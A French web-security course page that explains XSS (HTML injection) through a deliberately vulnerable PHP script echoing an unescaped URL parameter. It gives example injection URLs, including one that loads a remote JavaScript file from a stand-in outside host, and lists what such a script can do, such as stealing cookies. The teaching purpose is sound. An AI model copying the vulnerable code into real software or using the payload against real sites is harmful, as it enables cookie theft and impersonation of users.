Prototype d’une injection HTML

1. ## Objectifs
   - Connaitre les injections XSS
2. ## Présentations
   - Le concept initial d’une XSS est la possibilité de faire une injection de code HTML ou JavaScript dans une page HTML.
   - Le site est vulnérable dans la mesure où il permet à un utilisateur externe de modifier le comportement d’une page web à l’aide des arguments qui sont envoyés à cette dernière. Voyons en pratique comment cela se passe.
3. ## Partie pratique
   - L’archétype d’une vulnérabilité XSS est celui-ci :

```
<html>
    <head>
       <title>
         Une page vulnérable
       </title>
    </head>
<body>
     <?php
         echo "Bonjour ".$_GET['nom'] ;
     ?>
</body>
</html>
```

4. Vous reconnaissez facilement la structure de base d’une page HTML très dépouillée. La variable nom est passée via l’URL comme ceci :
5. `http://www.monsite.com/index.php?nom=damien`
6. La variable nom est affichée directement dans la page, via la concaténation. `$_GET['nom']` est fournie par PHP à partir des données de l’URL et, dans ce script d’illustration, il est utilisé brut : il n’y a aucune modification entre la valeur externe et celle qui est introduite dans la chaîne affichée.

apcpedagogie.com

7. Généralement, une telle page est utilisée comme action d’un formulaire et permet d’afficher le nom de l’utilisateur et de personnaliser la page.
8. La vulnérabilité présentée dans cette page réside dans le fait qu’il est possible d’utiliser des caractères HTML spéciaux, tels que < et >, pour modifier le comportement de la page HTML produite. Le code peut faire plus que simplement afficher la variable envoyée et le nom de l’utilisateur. Observez cette URL, pointée sur le script ci-dessus :
9. `http://www.monsite.com/index.php?nom=%3Cb%3Emonsieur%3C%2Fb%3E`
10. Cette URL inclut maintenant deux balises HTML. Elles sont masquées ici, car < et > ne sont pas des caractères valides dans une URL : il faut utiliser leur représentation hexadécimale, sous forme de %3C et %3E. Toutefois, un navigateur moderne saura se débrouiller avec une URL telle que :
11. `http://www.monsite.com/index.php?nom= <b>monsieur </b>`
12. Nous avons maintenant une attaque possible pour le script. Grâce à la vulnérabilité que nous avons identifiée, celui-ci va maintenant afficher le nom de l’utilisateur en gras. En effet, la balise <b> fait apparaître le texte encadré en gras. On a donc modifié le comportement initial de la page pour lui faire exécuter une fonctionnalité inattendue.
13. À ce stade, il est certain que vous n’êtes pas encore impressionné par les injections HTML : une vulnérabilité qui met en gras du texte dans une page web n’est pas un gros problème. En fait, nous avons mis le doigt sur la vulnérabilité et nous pouvons maintenant l’exploiter pour réaliser des attaques plus complexes. Pour cela, il suffit d’envoyer des balises HTML qui réalisent des opérations plus complètes que simplement changer la graisse d’une police.
14. Parmi les candidats, il y a bien sûr les images, qui seront chargées sur un site distant ou bien l’inclusion de JavaScript.
15. Reprenons notre exemple :
16. `http://www.monsite.com/index.php?nom=monsieur<script src= "http://autre.site.com/xss.js" >`
17. Cette nouvelle attaque va injecter une balise JavaScript qui demande au navigateur de charger un fichier JavaScript complet, sur un autre site que le site vulnérable. Du point de vue du navigateur, c’est parfaitement valide. Une page HTML permet de combiner des contenus en provenance de différents sites. Généralement, un site web fournit la totalité des contenus qu’il affiche, mais ce n’est pas forcément toujours le cas. Par exemple, les services de statistiques demandent aux webmestres d’inclure un fichier JavaScript ou une image dans toutes leurs pages : ainsi lorsqu’un visiteur charge la page, il charge aussi des informations sur le site de statistiques, qui peut ainsi compter le nombre de visites. Il est possible de charger de nombreuses ressources externes : des images, des animations Flash, des applets Java, des frames ou iframes, du code JavaScript, des feuilles CSS, etc.
18. Normalement, les liens vers les ressources externes sont gérées par le programmeur de la page : c’est lui qui sait où sont placées les ressources affichées dans la page et qui établit les références là où elles sont utiles. C’est une fonctionnalité immémoriale du Web et sûrement un

apcpedagogie.com

atout pour le partage d’informations. Néanmoins, en ce qui concerne la sécurité, cela ouvre la porte aux injections les plus dévastatrices : avec une vulnérabilité telle que celle que l’on vient de voir, une partie des ressources de la page est configurée par un auteur externe arbitraire.

19. Avec un fichier JavaScript externe, il est désormais possible de réaliser de nombreuses opérations distinctes avec le navigateur victime :
    - Charger du contenu arbitraire : en ajouter, en supprimer, en modifier dans la page en cours ;
    - Forcer l’utilisation de formulaires : aussi bien ceux de la page en cours que les formulaires distants ;
    - Détourner des formulaires vers un autre site : l’autre site peut alors s’insérer dans les communications entre le navigateur et le site légitime ;
    - Voler les cookies : cela conduit directement à l’usurpation d’identité ;
    - Rediriger vers un autre site ;
    - Faire exécuter au navigateur de nombreuses opérations au nom de son utilisateur.

Source:

- Livre Sécurité PHP5 et MySQL de Dami en Seguy Philippe Gamache Préface de Rasmus Lerdorf

---

Sommaire du cours Administration et sécurité des sites web

Source : https://apcpedagogie.com/prototype-dune-injection-html · téléchargé le 06/11/2026 · © APC Pédagogie · apcpedagogie.com

apcpedagogie.com